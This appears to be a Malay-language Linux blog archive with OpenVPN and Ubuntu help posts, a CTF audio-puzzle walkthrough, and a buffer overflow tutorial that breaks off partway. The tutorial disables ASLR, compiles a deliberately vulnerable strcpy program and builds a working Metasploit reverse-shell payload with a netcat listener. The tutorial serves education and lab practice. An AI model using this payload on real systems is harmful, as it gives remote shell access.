Isnin, 4 Julai 2011

Pasang Sendiri OpenVPN: Persediaan Pelayan (kemaskini 3/1/2012)

Salam sejahtera pengunjung budiman,

Dalam Bahagian 1, saya telah membincangkan mengenai definisi dan penjelasan mengenai apa itu VPN secara ringkas. Kali ini saya akan membawa anda ke penyediaan pelayan OpenVPN anda sendiri.

Tutorial kali ini akan menumpukan kepada penyediaan pelayan OpenVPN sebagai terowong (tunnel) yang membolehkan anda melepasi sekatan dan juga menegelakkan transaksi Internet anda dihidu (sniff) oleh orang lain.


Panduan membeli pelayan (server)

Mungkin anda tertanya-tanya bagaimana untuk membeli Virtual Private Server(VPS) ataupun Dedicated Server. Saya akan beri sedikit tips sekadar yang saya tahu untuk kegunaan OpenVPN.

  • Pastikan dalam terma dan syarat (ToS) penmbekal VPS anda memberi kebenaran untuk memasang VPN.
  • Pastikan TUN/TAP enabled pada VPS anda. Boleh hubungi Support Ticket pembekal anda untuk maklumat lanjut.
  • Kalau VPS anda berasaskan OpenVZ, minta hosting anda untuk menghidupkan "iptables_nat" pada VPS/container anda.
  • Pastikan harga mengikut bajet poket anda
  • Mahukan cadangan saya? Kalau mampu beli dari santrex.net. Kalau jenis bajet rendah macam saya, saya beli dari sahabat saya di sini.
  • Tambahan info: Pastikan waktu pelayan anda dan waktu komputer anda diselaraskan dengan pelayan waktu(time server) seperti time.nasa.gov Anda boleh gunakan arahan
    sudo ntpdate time.nasa.gov
    di komputer anda dan meminta penyedia perkhidmatan pelayan anda untuk menyelaraskan waktu di server anda juga.
Selepas membeli VPS/Dedicated server anda sendiri. Seterusnya, kita perlu memasang sistem pengendali (OS) di server.Saya memilih Ubuntu 10.04 LTS Server Edition untuk sistem pengendali pelayan (server) saya. Tutorial ini akan fokus kepada pemasangan openvpn server di Ubuntu 10.04 LTS Server Edition.

Pemasangan OpenVPN

Periksa dulu sama ada TUN/TAP sudah diupayakan (enabled) atau belum dengan arahan (command).
cat /dev/net/tun  
Anda sepatutnya akan mendapat keputusan seperti ini.
cat: /dev/net/tun: File descriptor in bad state
Jikalau anda mendapat ralat (error) seperti ini.
 cat: /dev/net/tun: No such device
Anda perlu menghubungi pembekal VPS anda untuk mengupayakan (enable) TUN/TAP di VPS anda.

Sekarang bolehlah kita teruskan dengan memasang openvpn,openssl,dnsmasq, dan juga iptables-persistent
di pelayan.

sudo apt-get install openvpn openssl dnsmasq iptables-persistent
Selepas melaksanakan arahan di atas. Laksanakan arahan berikut untuk menduplikasi sample config openvpn ke direktori /etc/openvpn/easy-rsa

mkdir /etc/openvpn/easy-rsa

cd /usr/share/doc/openvpn/examples/easy-rsa/2.0/

cp -R * /etc/openvpn/easy-rsa

cd /etc/openvpn/easy-rsa


Bersambung...

Rujukan:

 OpenVPN server ubuntu guide

 IPTables HowTo - Community Ubuntu Documentation

OpenVPN on Ubuntu 10.04 LTS - Ubuntu Help 
 
openvpn setup guide by dimenxion for Debian 6.x




    Rabu, 16 Februari 2011

    Pasang Sendiri OpenVPN: Pengenalan kepada VPN

    Assalamualaikum dan salam sejahtera,

    Sudah lama saya tidak membuat sebarang pos baru di blog ini. Kali ini saya akan kongsikan mengenai Virtual Private Network (VPN) , OpenVPN, cara pemasangan pada Virtual Private Server/ komputer sendiri, dan masalah2 berbangkit.

    Saya akan jadikan tutorial ini dalam bersiri untuk memudahkan kefahaman anda. Untuk siri pertama ini saya jadikan sebagai mukaddimah atau intro kepada VPN secara umum. Harap-harap siri ini tidak menjadi terbengkalai seperti siri Silat SQL.

    Apakah itu VPN?



    Menurut Wikipedia,

    Rangkaian persendirian maya(virtual private network, VPN) ialah sebuah rangkaian yang menggunakan insfrastruktur telekomunikasi awam, seperti Internet, untuk membekalkan pejabat-pejabat jarak jauh atau pengguna persendirian dengan capaian selamat terhadap rangkaian organisasi mereka. Tujuannya adalah untuk mengelakkan sistem talian bermilik atau berpajak yang mahal tetapi boleh digunakan untuk satu organisasi sahaja. Matlamat VPN adalah untuk membekalkan organisasi terbabit dengan kebolehan selamat yang sama tapi dengan kos yang lebih rendah.

    Ia mengkapsulkan pindahan data antara dua atau lebih peranti rangkaian yang tidak berada pada rangkaian persendirian yang sama dengan tujuan supaya data yang dipindahkan kekal sulit daripada peranti-peranti lain pada satu atau lebih rangkaian kawasan setempat atau luas yang berselang.

    Ok, ayat wikipedia susah nak faham ? Tak mengapa, saya cuba jelaskan dalam gaya bahasa yang mudah. Pernah guna LAN? kita tak boleh akses dari luar. Bagaimana nak akses dari luar? di sinilah gunanya VPN sebagai pengantara antara rangkaian luar seperti Internet. Dengan VPN, sesebuah organisasi boleh mencapai keselamatan seperti menggunakan dedicated line. Pengguna boleh menggunakan talian internet sendiri di rumah untuk menyambung ke rangkaian pejabat.

    Antara aplikasi VPN ini seperti mesin2 ATM yang menyambung ke rangkaian bank pusat seolah-olah mesin2 ATM ini ada di dalam rangkaian yang sama. Penyulitan (Encryption) yang ketat yang digunakan dalam VPN menyukarkan penceroboh/penggodam menghidu paket trafik ATM2 ini.

    VPN juga digunakan sebagai terowong (tunnel) untuk melepasi sekatan di tembok api (firewall) di pejabat,kolej, atau universiti. Dengan melencongkan semua trafik ke port yang biasa dibuka seperti HTTPS(port 443). Disebabkan trafik ini disulitkan (encrypted), sistem pemantaun trafik tidak dapat mengesan trafik sebenar yang berlaku di antara pengguna dan pelayan VPN.

    Bersambung...

    Pengumuman mengenai Silat SQL

    Assalamualaikum dan selamat sejahtera,

    Silat SQL akan ditulis semula(rewritten) dengan menambahkan intro kepada pangkalan data(database)  dan Bahasa Pertanyaan Berstruktur(SQL) itu sendiri. Saya tak nak ia sekadar dijadikan rujukan untuk "hacker wannabe" semata-mata yang kabur mengenai proses,konsep dan teori suntikan SQL. Yang tak tahu SQL atau database tu apa pun ada. Sekadar gunakan tools/perisian tertentu semata2, nak mengaku penggodam terhebat di alam maya. Sigh...

    Pakai tools tiada masalah selagi kita faham konsep dan manfaatkan tools untuk belajar kaedah serangan yang kita mungkin tak tahu dengan kejuruteraan terbalik (reverse engineering) tools tersebut. Atau pantau dengan perisian pemantau rangkaian seperti Wireshark mungkin? :D Hayati kata2 hikmah di bawah ini.


    The best offense is defense.

    Siri ini akan fokus kepada serangan dan pertahanan untuk MySQL sahaja. Kalau ada pertanyaan/komen/cadangan, anda digalakkan untuk komen di bawah. Saya galakkan untuk tulis ayat penuh dan elakkan gaya bahasa SMS. Manfaatkan papan kekunci anda sebaiknya. Terima Kasih. Artikel mengenai VPN dan OpenVPN akan meyusul.

    Sabtu, 6 November 2010

    Sabily Al-Quds 10.10 dilancarkan

    Assalamualaikum dan salam sejahtera semua,

    Sekadar ingin memaklumkan Sabily Al-Quds atau Sabily 10.10 sudah boleh dimuat turun melalui link di bawah

    http://88.191.122.107/sabily/10.10/

    Maaf kerana sudah lama tak pos apa-apa artikel terbaru dek kesibukan yang teramat sangat. Doakan saya supaya dapat menyelesaikannya seberapa segera untuk membolehkan saya pos beberapa artikel yang tertunggak di blog ini.

    Wassalam,

    -ak47suk1-

    P/S: Kena pertimbangkan tukar banner blog ni sebab Sabily dah tukar logo baru.
    P/P/S: Kalau anda ada idea untuk tajuk-tajuk yang menarik untuk pos saya akan datang, boleh beritahu dalam komen :D

    Isnin, 30 Ogos 2010

    Soalan yang kerap ditanya mengenai Ubuntu/Sabily (Kemaskini 17/11/2011)

    # Ada e-book atau manual yg mudah untuk cara2 install Ubuntu?


    Manual Ubuntu_web.pdf oleh saudara MelayUbuntu


    mirror1 


    mirror2


    # Macam mana saya nak tahu senarai kad yang ada dalam pc saya? Kenapa wireless card/ bluetooth/webcam Ubuntu saya tak detect? Kenapa peranti USB saya x detect?


    sebelum menanyakan soalan ini, diharap saudara/i sekalian boleh buka Terminal (Pergi ke Applications > Accessories >Terminal)


    Taip arahan berikut


    lspci


    untuk senarai kad pci pada pc anda


    lsusb


    untuk senarai peranti usb

    Contoh hasil output dua arahan ini serentak

    Kemudian setelah anda tahu jenis kad/model untuk pc anda. Anda boleh google dengan keyword berikut


    site:ubuntuforums.org

    Contoh:

    site:ubuntuforums.org huawei e1550 cannot connect to internet

    Kalau penjelasan forum ubuntu itu kurang jelas untuk anda, anda boleh rujuk di forum JomLinux, forum Ubuntu Malaysia, forum TBD.my, Discussion page Melayubuntu, dan forum2 lain. Tidak lupa juga Discussion di Page Sabily Untuk Malaysia


    # Saya pengguna netbook, bagaimana untuk saya install ubuntu tanpa CD?

    Sekiranya anda pengguna Windows:

    Guna UNetBootin.

    Sekiranya anda ada PC yg sudah dipasang dengan Ubuntu.

    Guna System > Administration > Startup Disk Creator

    # Ada beberapa harware pc saya Ubuntu tak detect.

    Pergi ke System > Administration > Hardware Drivers. tunggu sekejap. Klik activate selepas pilih mengikut perkakasan pc anda.

    # Mobile broadband saya ( Huawei XXXX) tak boleh connect internet

    Setahu saya celcom manager tak ade versi Linux. Utk connect ke celcom saudara boleh guna dua cara, Network Manager atau wvdial. Untuk gunakan network manager, saudara perlu upgrade ubuntu saudara dengan LAN atau wifi terlebih dahulu sebab utk lucid lynx yg belum upgrade. x de driver utk huawei.

    untuk wvdial, saudara boleh rujuk tulisan saya di http://mysabily.blogspot.com/2010/06/tutorial-guna-huawei-e1550-menggunakan.html

    # Modem CSL saya tak boleh connect ke internet.

    http://syahrilhafiz.com/blog/2010/06/14/cara-sambung-internet-guna-csl-3-5g/



    # Kalau nak install semua benda yg biasanya pengguna komputer akan pakai, install ubuntu restricted extras.


    Ada 2 cara.


    Paling Mudah, pergi ke Applications > Ubuntu Software Center.


    search "extras"


    Nanti korang akan jumpa pakej "Ubuntu Restricted Extras". Install


    lagi satu guna CLI


    sudo apt-get install ubuntu-restricted-extras.




    # tak boleh update, gagal dapatkan pakej repo


    Tukar source repo kat Administration > Software Sources. Kat "Download from:" pilih Other... > Malaysia > archive.mmu.edu.my atau mirror.upm.edu.my




    # saya nak tanya, kalau ubuntu 'hang' nak buat macam mana ek? bila jadi camni terpaksa reset pc.. ada cara lain ker? kalau window leh g ke task manager


    Right Alt + PrtSc + K


    atau


    Ctrl + Alt + Backspace


    # Pasang sambungan jalur lebar mudah alih dengan menggunakan NetworkManager di Ubuntu


    huawei e1550 patut dah auto detect dengan NetworkManager. Cucuk je boleh pakai klik kanan kat ikon NetworkManager patut ada Enable Mobile Broadband.


    Kalau ada, klik Edit Connections...


    Pergi tab Mobile Broadband


    Klik add,


    Patut dah nampak Huawei Mobile tu


    tekan Forward,


    Pilih Malaysia,


    Pilih Celcom,


    Ok, kat plan ni mungkin ada perubahan. Kalau guna Celcom 3g kena tukar ke 3g.celcom.net.my. Atau cuba guna, default celcom.net.my. Kena rujuk Celcom sendiri untuk APN sebab rasa saya yg baru dah tukar. Kali terakhir saya pakai Celcom 3g.


    Klik Apply.


    Isi detail username,password (rujuk panduan celcom) dan PIN sim card.


    Klik Ok.


    Pilihan Celcom broadband ada kat dalam list. klik je. Kalau takde apa2 masalah, dapat connect seperti biasa.


    #

    Sesiapa ada masalah nak pasang Ubuntu pada Acer Aspire M1641 Desktop, alhamduliLLah ini penyelesaiannya:

    . Go to BIOS settings by pressing DEL while the system is booting
    . On the BIOS menu go to ADVANCED tab
    . On the ADVANCED menu screen go to INSTALLER OS SELECT
    ....... Under Installer OS Select there is WIndows by default
    . Hit Enter and change it to OTHERS
    . Hit F10 tey to save new settings and exit BIOS setup

    sekadar berkongsi satu solusi...

    # sy ada mslh dgn ubuntu... sy terpadam icon sound,wireless n berkaitan dgn sistem mcm mane nk wujud kembali....

    klik kanan pada ruang kosong panel

    pilih "Add to Panel"

    Dwi-klik Indicator Panel
    ...
    Harap penjelasan saya membantu.



    # salam
    nak tanya skit ni..
    kenapa tiba2 ubuntu 10.04 saya ni ada masalah dengan keyboard?
    saya kena tekan huruf tu kat keyboard tu 2-3 saat, baru muncul kat screen.



    semak di sticky key, slow key dengan bounce key settings di keyboard prefrences.

    # salam..nak tnye berkaitn dgn masalah yg same mcm ni ---> http://askubuntu.com/questions/36196/theme-changed-by-itself .. saya da google..tapi x tahu mane satu solution yg betol..harap2 ade yg boleh tolong bntu dn jelaskn :D terima kasih :D


    ni may help http://askubuntu.com/questions/21305/desktop-forgets-theme/21324#21324

    # Sape tau mcmne nak kasi lajukan speed utk IE kat ubuntu nie...aku kena pakai IE utk keje kat opis...tp dianyer speed slow...x mcm firefox...kalu bleh aku x yah laa pakai windows lg kat opis

    lepas aku run rm -rfv ~/.wine dgn winecfg...mcm dah ok speed dia...speed dah sama mcm aku run kat windows...yeay 


    Pos ini akan dikemaskini dari masa ke semasa. Anda juga boleh melihat kandungan pos ini di Ubuntu Malaysia LoCo Team dan di halaman Sabily Untuk Malaysia

    Selasa, 10 Ogos 2010

    I-hack 2010: GerakKerja HnD Puzzle kena_sound.wav

    Download puzzle dari sini


    http://dl.dropbox.com/u/4707680/puzzlesengal.7z 

    MD5: bc87727e049f92262b7d89c808f8f80d

    Tools yang diperlukan ( saya guna Ubuntu, jadi saya ambil je yang perlu dari repo). Untuk distro lain, sila guna package manager masing2 :)

    Audacity - Editor untuk audio

    Multimon - Untuk analisa tone DTMF dan lain2 encoder utk telefon transmisi radio.

    Cara install:

    Buka Terminal taip

    sudo apt-get install audacity multimon




    Kalau anda semua mainkan pada pemain audio pc. Anda akan dengar ton DTMF atau dial telefon. Audacity ada generator untuk DTMF tone. Tapi kalau nak decode macam mana pulak?

    Di sinilah gunanya multimon.

    di Terminal anda taip

    man multimon

    Dari sini kita boleh baca dokumentasi untuk multimon. Tengok perenggan berikut betul2.


    EXAMPLE
    Decode signal modulations from a sound file /tmp/message.wav without using a SCOPE display:
    multimon -s SCOPE -t wav /tmp/message.wav


    nak exit dari manual taip ":q"

    kita gunakan arahan berikut:

    multimon -s SCOPE -t wav kena_sound.wav

    Lihat screenshot di bawah



    Nampaknya ada masalah di sini. takkan ffffff tu pulak kan? Cuba kita buka fail tersebut dengan audacity



    Buang noise




    Buang lagi



    Buang kesemuanya





    Simpan sebagai apa2 nama yg anda suka



    Tekan ok je



    Selesai



    P/S : Real man don't know antivirus but real man know multimon :D
    PP/S: This is NOT A SOLUTION. This is just what I do to get it. There are many ways to get the answer. But, just getting the final answer ONLY does not help you to understand. Go learn yourself the CONCEPT of DTMF instead of just going to get the final answer for this puzzle.

    Ahad, 27 Jun 2010

    Tutorial Eksploitasi Buffer Overflow Termudah untuk Difahami

    (English version of this tutorial will be available soon on kaibathelegacy.blogspot.com)

    Penyediaan Box yang Bocor

    Bahan-bahannya:

    • Ubuntu Lucid Lynx (atau yg lebih lama lagi baik) di dalam VirtualBox atau VMWare. Tak perlu update. Buang perisian yg tak berkenaan jika suka untuk mengurangkan saiz Virtual Machine.

    • Install Metasploit pada PC anda (bukan VM, diperlukan untuk generate reverse shell). Muat Turun dari http://www.metasploit.com bersesuaian dengan OS yang menjadi host untuk VM Ubuntu/ Box yang Bocor ini.

    • Sekiranya anda Pengguna Windows, pastikan anda sudah ada netcat.exe untuk terima shell dari mangsa (Box yang Bocor). Pengguna distro linux, netcat sudah sedia ada.

    Kafiat untuk bermula:


    Buka Terminal di Box yang bocor,

    anda taip

    cat /proc/sys/kernel/randomize_va_space

    Pastikan nilainya 0. Sekiranya bukan. Taip

    sudo /sbin/sysctl -w kernel.randomize_va_space=0

    Periksa nilai randomize_va_space semula.

    cat /proc/sys/kernel/randomize_va_space


    Contoh Kod yang ada Buffer Overflow
    /* Save Kod sebagai mangkuk.c * Nak mudah save di Desktop*Copy kod dari sini*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(char *string) {

      char buffer[1024];

      strcpy(buffer, string);

      return 1;
    }

    int main(int argc, char *argv[]) {

      bof(argv[1]);
      printf("Done..\n");

      return 1;
    }
    /*Sampai la sini*/




    Di terminal anda tadi, ikuti langkah berikut.


    cd ~/

    cd Desktop/

    ls -al


    Contoh:


    saifool@saifool-laptop:~/Desktop$ cd ~/
    saifool@saifool-laptop:~$ cd Desktop/
    saifool@saifool-laptop:~/Desktop$ ls -al
    total 104
    drwxr-xr-x 2 saifool saifool 4096 2010-06-25 23:28 .
    drwxr-xr-x 25 saifool saifool 4096 2010-06-25 23:23 ..
    -rwxr-xr-x 1 saifool saifool 8484 2010-06-24 23:31 bufvulcode
    -rw-r--r-- 1 saifool saifool 478 2010-06-24 23:30 bufvulcode.c
    -rwxr-xr-x 1 saifool saifool 8811 2010-06-24 23:36 eggcode
    -rw-r--r-- 1 saifool saifool 922 2010-06-24 23:35 eggcode.c
    -rwxr-xr-x 1 saifool saifool 8297 2010-06-24 23:38 findeggaddr
    -rw-r--r-- 1 saifool saifool 129 2010-06-24 23:36 findeggaddr.c
    -rwxr-xr-x 1 saifool saifool 550 2010-06-24 21:06 gedit.desktop
    -rwxr-xr-x 1 saifool saifool 476 2010-06-24 21:04 gnome-terminal.desktop
    -rwxr-xr-x 1 saifool saifool 8611 2010-06-25 21:36 mangkuk
    -rw-r--r-- 1 saifool saifool 245 2010-06-24 21:07 mangkuk.c
    -rw-r--r-- 1 saifool saifool 3886 2010-06-25 21:56 shellz
    -rw-r--r-- 1 saifool saifool 2149 2010-06-25 23:23 shellz2
    -rwxr-xr-x 1 root root 9898 2010-06-25 22:55 smashme2
    -rw-r--r-- 1 saifool saifool 301 2010-06-25 22:54 smashme2.c
    saifool@saifool-laptop:~/Desktop$


    Sekarang masa untuk compile code C, mangkuk,c tadi. Kita tak boleh compile kod tersebut cara biasa. Kita kena matikan fungsi StackGuard dlm gcc dan membenarkan execstack.

    Contoh:

    saifool@saifool-laptop:~/Desktop$ gcc -ggdb -fno-stack-protector -z execstack mangkuk.c -o mangkuk


    saifool@saifool-laptop:~/Desktop$ ./mangkuk
    Segmentation fault

    saifool@saifool-laptop:~/Desktop$ ./mangkuk `perl -e 'print "A"x1000'`
    Done..
    saifool@saifool-laptop:~/Desktop$ ./mangkuk `perl -e 'print "A"x1024'`
    Done..
    saifool@saifool-laptop:~/Desktop$ ./mangkuk `perl -e 'print "A"x1200'`
    Segmentation fault
    saifool@saifool-laptop:~/Desktop$

    Apa yang dimaksudkan dengan perintah ./mangkuk `perl -e 'print "A"x1000'` tu? Perintah ini sama dengan A sebanyak 1000 kali sebagai input untuk program mangkuk ini. Untuk mengenal konsep buffer overflow ni dengan lebih mendalam, sila baca rujukan tambahan di bawah artikel ini. Sebab saya lebih fokus untuk mereka yang ingin hands-on dalam memahami buffer overflow ini. Saya cuma akan terangkan secara ringkas sahaja.

    Kita lihat kod mangkuk.c tadi.

    char buffer[1024];

    Saiz buffer yang diperuntukkan ialah 1024 bytes. Tapi tak semestinya bila kita input 1025 bytes, terus ada segmentation fault; salah satu dari tanda-tanda buffer overflow. Kita akan gunakan teknik 'direct jump'. Macam mana nak cari segmentation fault yang benar2 berguna?

    Terlebih dahulu, kita akan berkenalan dengan GDB. Di Terminal, taip
    gdb mangkuk

    Out put seperti di bawah

    saifool@saifool-laptop:~/Desktop$ gdb mangkuk
    GNU gdb (GDB) 7.1-ubuntu
    Copyright (C) 2010 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law. Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i486-linux-gnu".
    For bug reporting instructions, please see:
    ...
    Reading symbols from /home/saifool/Desktop/mangkuk...done.
    (gdb)


    Di GDB ni, kita boleh lihat struktur dalaman mana2 program yg telah dikompil.

    Sila tulis arahan berikut di gdb.


    set disassembly-flavor intel

    disass main


    Contoh output

    (gdb) set disassembly-flavor intel
    (gdb) disass main
    Dump of assembler code for function main:
    0x08048439 <+0>: push ebp
    0x0804843a <+1>: mov ebp,esp
    0x0804843c <+3>: and esp,0xfffffff0
    0x0804843f <+6>: sub esp,0x10
    0x08048442 <+9>: mov eax,DWORD PTR [ebp+0xc]
    0x08048445 <+12>: add eax,0x4
    0x08048448 <+15>: mov eax,DWORD PTR [eax]
    0x0804844a <+17>: mov DWORD PTR [esp],eax
    0x0804844d <+20>: call 0x8048414
    0x08048452 <+25>: mov DWORD PTR [esp],0x8048530
    0x08048459 <+32>: call 0x8048350
    0x0804845e <+37>: mov eax,0x1
    0x08048463 <+42>: leave
    0x08048464 <+43>: ret
    End of assembler dump.

    Anda nampak 0x0804843f <+6>: sub esp,0x10 . 10 dalam asas nombor 16 (HEX) ialah 16 dalam asas nombor 10 (DEC). Maknanya, memori memperuntukkan 1024 (dah declare pada buffer) dan ditambah dengan 16 menjadikan saiz buffer 1040. Walaupun segmentation fault mungkin berlaku, kita tidak dapat mengeksploitasi bug ini dengan baik.


    Untuk lebih memudahkan anda semua memahami konsep eksploitasi buffer overflow ini, Sekarang di gdb taip arahan berikut


    run `perl -e 'print "A"x1025'`
    run `perl -e 'print "A"x1029'`
    run `perl -e 'print "A"x1038'`
    run `perl -e 'print "A"x1040'`

    Contoh Output:

    (gdb) run `perl -e 'print "A"x1025'`
    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1025'`
    Done..

    Program exited with code 01.
    (gdb) run `perl -e 'print "A"x1029'`
    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1029'`
    Done..

    Program exited with code 01.
    (gdb) run `perl -e 'print "A"x1038'`
    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1038'`

    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()
    (gdb) run `perl -e 'print "A"x1040'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x1040'`

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb)

    " Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? "

    ini bermaksud EIP (Extended Instruction Pointer) adalah pada 0x41414141 yang tidak wujud. Sebab itu ada ralat. Kita perlu gantikan dengan alamat yg wujud di mana pada alamat itu kita akan letak shellcode iaitu sebuah reverse shell yg membolehkan kita mengakses terminal Box yang Bocor dari host kita.

    Persediaan Shellcode

    Anda sudah memasang Metasploit pada host anda? Jika sudah. Sila Buka Terminal dan taip

    msfweb
    Tunggu seketika sehingga output seperti ini keluar

    ak47suk1@ak47suk1-laptop:~/Desktop$ msfweb
    [*] Warning: As of Metasploit 3.3 this interface is no longer supported:
    Please see https://metasploit.com/redmine/issues/502


    [*] Starting msfweb v3.4.1-dev on http://127.0.0.1:55555/

    config.gem: Unpacked gem rack-1.0.1 in vendor/gems has no specification file. Run 'rake gems:refresh_specs' to fix this.
    => Booting WEBrick
    => Rails 2.3.5 application starting on http://127.0.0.1:55555
    [*] Initializing the Metasploit Framework...
    [*] Initialized the Metasploit Framework
    => Call with -d to detach
    => Ctrl-C to shutdown server
    [2010-06-27 20:18:55] INFO WEBrick 1.3.1
    [2010-06-27 20:18:55] INFO ruby 1.9.1 (2009-07-16) [x86_64-linux]
    [2010-06-27 20:18:55] INFO WEBrick::HTTPServer#start: pid=23567 port=55555

    Sekarang buka firefox,chrome atau mana2 browser pilihan anda. Lawati http://localhost:55555

    Pilih Payloads.

    Cari "x86" pada textbox. Pilih Linux Command Shell, Reverse TCP Inline.

    Ada input yang perlu anda masukkan.

    LHOST (ip local host anda, sebagai contoh local ip saya): 192.168.1.2

    LPORT (port listening netcat anda, ikut je contoh saya): 12345

    Max size: 96

    Kemudian , klik Generate.

    Anda akan nampak output seperti ini

    /*
    * linux/x86/shell_reverse_tcp - 96 bytes
    * http://www.metasploit.com
    * Encoder: generic/none
    * NOP gen: x86/single_byte
    * LHOST=192.168.1.2, LPORT=12345, ReverseConnectRetries=5,
    * PrependSetresuid=false, PrependSetreuid=false,
    * PrependSetuid=false, PrependChrootBreak=false,
    * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
    */
    unsigned char buf[] =
    "\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52"
    "\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53"
    "\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8"
    "\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43"
    "\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9"
    "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
    "\x89\xe1\xb0\x0b\xcd\x80";


    shellcode anda mungkin berbeza disebabkan perbezaan local ip atau yg lain. Sekarang kita perlu ubah ini

    "\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52"
    "\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53"
    "\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8"
    "\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43"
    "\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9"
    "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
    "\x89\xe1\xb0\x0b\xcd\x80";

    menjadi seperti ini

    \x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


    Sekarang untuk percubaan mengeksploitasi bug ini, kita akan gunakan konsep berikut.

    [ A x 600] [NOP x340] [Shellcode 96] [BBBB] = 1040

    Ok di dalam gdb, taip arahan berikut:

    run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

    Contoh Output:

    (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    (gdb)


    Cantekkk. 0x42424242 yg bersamaan dengan "BBBB" betul2 berada di EIP yang kita boleh letak address yang menghala ke shellcode kita.

    Sebelum itu di host anda (bukan Box yang Bocor), taip
    nc -l 12345 -vv

    Sekiranya tidak berjaya/error netcat


    nc -l -p 12345 -vv

    Command netcat ini digunakan untuk menerima shell dari Box yang bocor.


    Kembali semula ke Box yang bocor, di gdb, taip
    (gdb) x/2000xb $esp

    Tekan Enter sampai selesai.

    Contoh Output:
    ..dipotong....
    0xbffff468: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff470: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff478: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff480: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff488: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff490: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff498: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
